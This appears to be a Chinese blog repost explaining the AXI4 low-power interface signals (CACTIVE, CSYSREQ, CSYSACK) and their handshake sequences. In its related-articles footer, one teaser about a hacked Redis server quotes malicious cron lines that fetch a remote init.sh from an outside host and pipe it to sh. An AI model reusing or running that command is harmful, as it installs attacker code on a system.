AXI4---低功耗接口

在电子系统设计中,"low-power interface"(低功耗接口)是指专为减少能耗而设计的硬件接口。这类接口在不需要牺牲性能的情况下,通过各种技术降低功耗,对于移动设备、嵌入式系统和其他电池供电的应用来说尤其重要。

低功耗接口的关键特性可能包括:

  1. 电源管理:接口可能包括用于动态调整电源供应的信号,以匹配当前操作的能耗需求。

  2. 时钟门控:这是一种技术,允许系统在不需要时关闭时钟信号,以减少不必要的时钟能耗。

  3. 电源门控:在不需要时,可以切断或降低特定电路或模块的电源供应。

  4. 低功耗模式:接口可能支持一种或多种低功耗模式,如睡眠或待机模式,以在系统不活跃时减少能耗。

  5. 高效数据传输:设计用于最小化传输数据所需的能量,例如通过减少信号跳变或使用高效的编码技术。

  6. 自适应工作频率:接口可以根据当前的工作负载动态调整工作频率,以避免过度消耗能量。

  7. 短突发传输:优化数据传输以使用短突发,从而减少在空闲状态中的能量消耗。

  8. 信号完整性:即使在低电压下,也要确保信号的完整性和可靠性,以维持数据传输的准确性。

1. 关于低功耗接口

低功耗接口是AXI协议的一个可选扩展,它针对两类不同的外设:

  1. 任何没有电源关闭序列的外设,且能够指示何时可以关闭其时钟。
  2. 任何需要电源关闭序列的外设,且只有在进入低功耗状态后才能关闭其时钟。该外设需要从系统时钟控制器接收一个指示,以了解何时启动电源关闭序列,然后必须在其进入低功耗状态时发出信号

2. 低功耗时钟控制

低功耗时钟控制接口由以下信号组成:

  • 来自外设的信号,指示何时可以启用或禁用其时钟。
  • 两个握手信号,用于系统时钟控制器请求退出或进入低功耗状态。

2.1 外设时钟需求

CACTIVE信号指示外设是否需要时钟信号。外设在需要时钟被启用时将CACTIVE置为高电平,系统时钟控制器必须立即启用时钟。 外设将CACTIVE置为低电平,以指示它不需要时钟,系统时钟控制器随后可以禁用时钟,但不是必须这样做。 可以在外设需要时随时启用或禁用其时钟的情况下,可以将CACTIVE驱动为永久低电平。必须始终启用其时钟的外设,必须将CACTIVE永久驱动为高电平。 CACTIVE是一些没有电源关闭或电源启动序列的外设所需的唯一时钟控制信号。

2.2 电源关闭或电源启动握手

对于具有电源关闭或电源启动序列的外设,只有在系统时钟控制器的请求下才会进入低功耗状态。AXI协议提供了请求/确认握手信号以支持此请求:

  • CSYSREQ:系统时钟控制器使用CSYSREQ信号请求:

    • 外设进入低功耗状态,系统时钟控制器将CSYSREQ信号置为低电平以启动请求。
    • 外设退出低功耗状态,系统时钟控制器将CSYSREQ信号置为高电平以启动请求。
  • CSYSACK:外使用CSYSACK信号确认:

    • 进入低功耗状态的请求,当它识别到此请求时,将CSYSACK置为低电平。
    • 退出低功耗状态的请求。当它识别到此请求时,将CSYSACK置为高电平。

图A9-1显示了CSYSREQ和CSYSACK之间的关系。

在图A9-1所示序列的开始时,CSYSREQ和CSYSACK均为高电平,以进行正常的时钟操作。在时间T1,系统时钟控制器将CSYSREQ置为低电平,表示请求外设进入低功耗状态。外设在时间T2通过将CSYSACK置为低电平来确认请求。在T3,系统时钟控制器将CSYSREQ置为高电平,要求退出低功耗状态。在T4,外设将CSYSACK置为高电平以确认退出。

AXI协议要求CSYSREQ和CSYSACK之间有这种关系。

外设可以接受或拒绝系统时钟控制器提出的进入低功耗状态的请求。当外设通过将CSYSACK置为低电平来确认请求时,CACTIVE信号的电平表示接受或拒绝该请求。

2.3 接受低功耗请求

图A9-2显示了外设接受系统低功耗请求的事件序列。

  • T1:系统时钟控制器将CSYSREQ置为低电平,请求外设进入低功耗状态。
  • T2:外设识别到请求后,执行其电源关闭序列,并在T2将CACTIVE置为低电平,信号表明可以移除时钟。
  • T3:外设将CSYSACK置为低电平,信号表明它已完成进入低功耗状态。外设在将CACTIVE置为低电平后,至少一个周期内不能将CSYSACK置为低电平。

2.4 拒绝低功耗请求

图A9-3显示了外设拒绝系统低功耗请求的事件序列。

  • T1:系统时钟控制器将CSYSREQ置为低电平,请求外设进入低功耗状态。
  • T2:外设通过将CSYSACK置为低电平来确认低功耗请求,但通过保持CACTIVE为高电平来拒绝请求。
  • T3:系统时钟控制器通过将CSYSREQ置为高电平,开始低功耗状态退出序列。
  • T4:外设通过将CSYSACK置为高电平,完成退出序列。

系统时钟控制器必须维持时钟,并在可以发起另一个低功耗请求之前,必须完成低功耗状态退出序列。

2.5 退出低功耗状态

系统时钟控制器或外设都可以请求从低功耗状态退出。协议要求在低功耗状态下,CACTIVE和CSYSREQ都是低电平,将这两个信号中的任何一个置为高电平都会启动退出序列。

2.5.1 系统时钟控制器发起的退出

图A9-4显示了系统时钟控制器发起从低功耗状态退出的过程。

  • T1:系统时钟控制器将CSYSREQ置为高电平,请求退出低功耗状态,然后启用时钟。
  • T2:外设识别到CSYSREQ为高电平,执行其电源启动序列,并将CACTIVE置为高电平,以指示它需要时钟信号。
  • T3:外设在T3完成退出序列,通过将CSYSACK置为高电平。

2.5.2 外设发起的退出

图A9-5显示了由外设发起的从低功耗状态退出的信号过程。

  • T1:外设将CACTIVE置为高电平,以信号表明它需要时钟信号,系统时钟控制器随后必须恢复时钟。
  • T2:系统时钟控制器将CSYSREQ置为高电平,以继续握手序列。
  • T3:外设完成从低功耗状态的退出,并将CSYSACK置为高电平以完成退出序列。

2.6 时钟控制序列总结

图A9-6显示了请求进入低功耗状态的典型流程。

 图A9-7显示了请求退出低功耗状态的典型流程。

2.7 将外设组合在低功耗时钟域中

系统时钟控制器可以将多个不同的外设组合到同一个低功耗时钟域中。如果遵守以下规则,它可以像对待单个外设一样对待该时钟域:

  • 时钟域的CACTIVE信号是该时钟域中所有外设的CACTIVE信号的逻辑或(OR)。这意味着只有当所有外设都指示它们可以被禁用时,系统时钟控制器才能禁用时钟。

  • 系统时钟控制器必须使用一个单一的CSYSREQ信号,该信号被路由到时钟域中的所有外设。

  • 时钟域的CSYSACK信号是这样生成的:

    • CSYSACK的下降沿发生在该时钟域中最后一个驱动CSYSACK为低电平的外设的CSYSACK信号的下降沿。
    • CSYSACK的上升沿发生在该时钟域中最后一个驱动CSYSACK为高电平的外设的CSYSACK信号的上升沿。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/2824.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何更好的管理个人财务?使用极空间部署私有记账系统Firefly III

如何更好的管理个人财务?使用极空间部署私有记账系统Firefly III 哈喽小伙伴们好,我是Stark-C~ 不知道屏幕前的各位“富哥”日常生活中是怎么管理自己巨额财富的,反正对于像我这样年薪过千的摸鱼族来说,请一个专业的理财顾问多多…

Laravel 6 - 第十三章 请求

​ 文章目录 Laravel 6 - 第一章 简介 Laravel 6 - 第二章 项目搭建 Laravel 6 - 第三章 文件夹结构 Laravel 6 - 第四章 生命周期 Laravel 6 - 第五章 控制反转和依赖注入 Laravel 6 - 第六章 服务容器 Laravel 6 - 第七章 服务提供者 Laravel 6 - 第八章 门面 Laravel 6 - …

记录第一次云服务器redis被黑

redis里莫名奇妙被写入四个键值对,backup1,backup2,backup3,backup4,内容是奇奇怪怪的sh脚本:*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh http://en2an.top/cleanfda/init.sh */2 * * * * root cd1 -fsSL http…

The_Maya_Society

突然发现自己做了一些逆向题都没有写笔记 今天,发现这道题有意思 1.解压文件 三个文件The Maya Society.html,maim.cc,maya.png 当时我看到这个题的时候,我以为是不是会是js逆向 看来是我蠢了 这三个文件,main.css和maya.png这两…

PyQt5的安装和配置

1.准备工作 首先,下载Pycharm及python-3.7.5-amd64.exe并安装两个软件。 Pycharm链接: python-3.7.5-amd64.exe链接: 2.1.在线安装 pip安装PyQt5: pip install PyQt5 pip安装pyqt5-tools pip install pyqt5-tools 遇到下载…

编译原理 LR(0)

讲解视频:编译原理LR(0)分析表(上)_哔哩哔哩_bilibili 【编译原理】LR(0)分析表分析输入串_哔哩哔哩_bilibili 拓广文法 已知G:S->(S)S | ε 拓广文法: S -> S S -> (S)S S -> ε…

基于springboot的公交线路查询系统设计与实现

第1章 绪论 1.1 研究背景 互联网时代不仅仅是通过各种各样的电脑进行网络连接的时代,也包含了移动终端连接互联网进行复杂处理的一些事情。传统的互联网时代一般泛指就是PC端,也就是电脑互联网时代,但是最近几十年,是移动互联网…

中台架构下的性能测试实践方法

有同学私信问我:中台服务建设过程中,性能测试如何开展?问题背景如下: 业务背景:银行业务; 技术架构:业务应用和中台之间请求统一走ESB; 当前阶段:中台建设中,…

如何部署 wfs 分布式服务

说明: wfs是海量小文件存储系统。wfs1.x不直接支持分布式存储,但为了应对大规模部署和高可用需求,推荐采用如Nginx这样的负载均衡服务,通过合理的资源配置和定位策略,可以在逻辑上模拟出类似分布式的效果。也就是说&am…

【kettle002】kettle访问人大金仓KingbaseES数据库并处理数据至execl文件

一直以来想写下基于kettle的系列文章,作为较火的数据ETL工具,也是日常项目开发中常用的一款工具,最近刚好挤时间梳理、总结下这块儿的知识体系。 熟悉、梳理、总结下人大金仓KingbaseES数据库相关知识体系 kettle访问人大金仓KingbaseES数据库…

Linux网络-DHCP原理与配置

目录 一.DHCP工作原理 1.了解DHCP服务 1.1.使用DHCP的好处 1.2.DHCP的分配方式 2.DHCP的租约过程 2.1.DHCP工作原理 2.2.DHCP交互过程 二.DHCP服务器的配置 1.关闭防火墙 2.检查并且安装DHCP有关软件包 3.查看系统的配置文件 3.1.设置参数 4.修改网络 4.1.修改虚…

redis基于Stream类型实现消息队列,命令操作,术语概念,个人总结等

个人大白话总结 1 在Redis Stream中,即使消息被消费者确认(acknowledged, ACK),消息也不会自动从Stream数据结构中删除。这与Kafka或RabbitMQ等传统消息队列系统的做法不同,在那些系统中,一旦消息被消费并…

MyBatisPlus详解(四)通用枚举、JSON类型处理器、配置加密、自动分页插件与工具类

文章目录 前言3 扩展功能3.3 通用枚举3.3.1 使用枚举类3.3.2 功能测试 3.4 JSON类型处理器3.4.1 使用JSON类型处理器3.4.2 功能测试 3.5 配置加密3.5.1 生成密钥3.5.2 修改配置3.5.3 功能测试 4 插件功能4.1 自动分页插件4.1.1 配置分页插件4.1.2 分页API 4.2 通用分页实体4.2.…

递归实现斐波那契数列的空间复杂度的讲解

题目:计算斐波那契数列Fib的空间复杂度 过程图解: 理解要点: 递归的运算顺序和方式不是同时进行图中的所有Fib函数,而是有顺序的! 第一步:单独的一个Fib(N)进行到底Fib&#xff08…

XV6源码阅读——进程地址空间

文章目录 前言页表实际情况 前言 一个本硕双非的小菜鸡,备战24年秋招。打算尝试6.S081,将它的Lab逐一实现,并记录期间心酸历程。 代码下载 官方网站:6.S081官方网站 页表 每个进程都有一个单独的页表,当xv6在进程之…

Linux套接字编程详解

Linux套接字编程 预备知识IP地址和MAC地址套接字结构网络字节序 UDP套接字编程服务端代码客服端代码 TCP 套接字守护进程 计算器模块1 日志头文件序列化和反序列化 预备知识 IP地址和MAC地址 MAC地址用来在局域网中标识唯一主机 Ip地址用于在广域网中标识唯一主机 &#xff0…

2767. 将字符串分割为最少的美丽子字符串

2767. 将字符串分割为最少的美丽子字符串 Java: class Solution {int cnt;int ans;int[] arr;Set<Integer> set;private void dfs(String s, String s1, int pos, int len) {if (pos len) {ans Math.min(ans, cnt);return;}for(int i pos; i < len; i) {String s2…

软件游戏缺失d3dcompiler_43.dll怎么修复?分享多种靠谱的解决方法

在我们日常频繁地操作和使用电脑的过程中&#xff0c;时常会遇到一些突发的技术问题。其中一种常见的情况是&#xff0c;在尝试启动或运行某个应用程序时&#xff0c;系统会弹出一个错误提示窗口&#xff0c;明确指出当前电脑环境中缺少了一个至关重要的动态链接库文件——d3dc…

Linux配置腾讯云yum源(保姆级教学)

1. 备份原有的 yum 源配置文件 例如&#xff1a; mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup 2. 下载腾讯云的 yum 源配置文件 例如&#xff1a; wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.cloud.tencent.com/repo/…

将数字状态码在后台转换为中文状态

这是我们的实体类 可以看出我们的状态status是2如果返回到前端我们根本不知道2代表的是什么&#xff0c;所以我们需要再这里将数字转换成能看懂的中文状态&#xff0c;首先我们创建一个枚举类 先将我们状态码所对应的中文状态枚举出来&#xff0c;然后创建一个静态方法&#…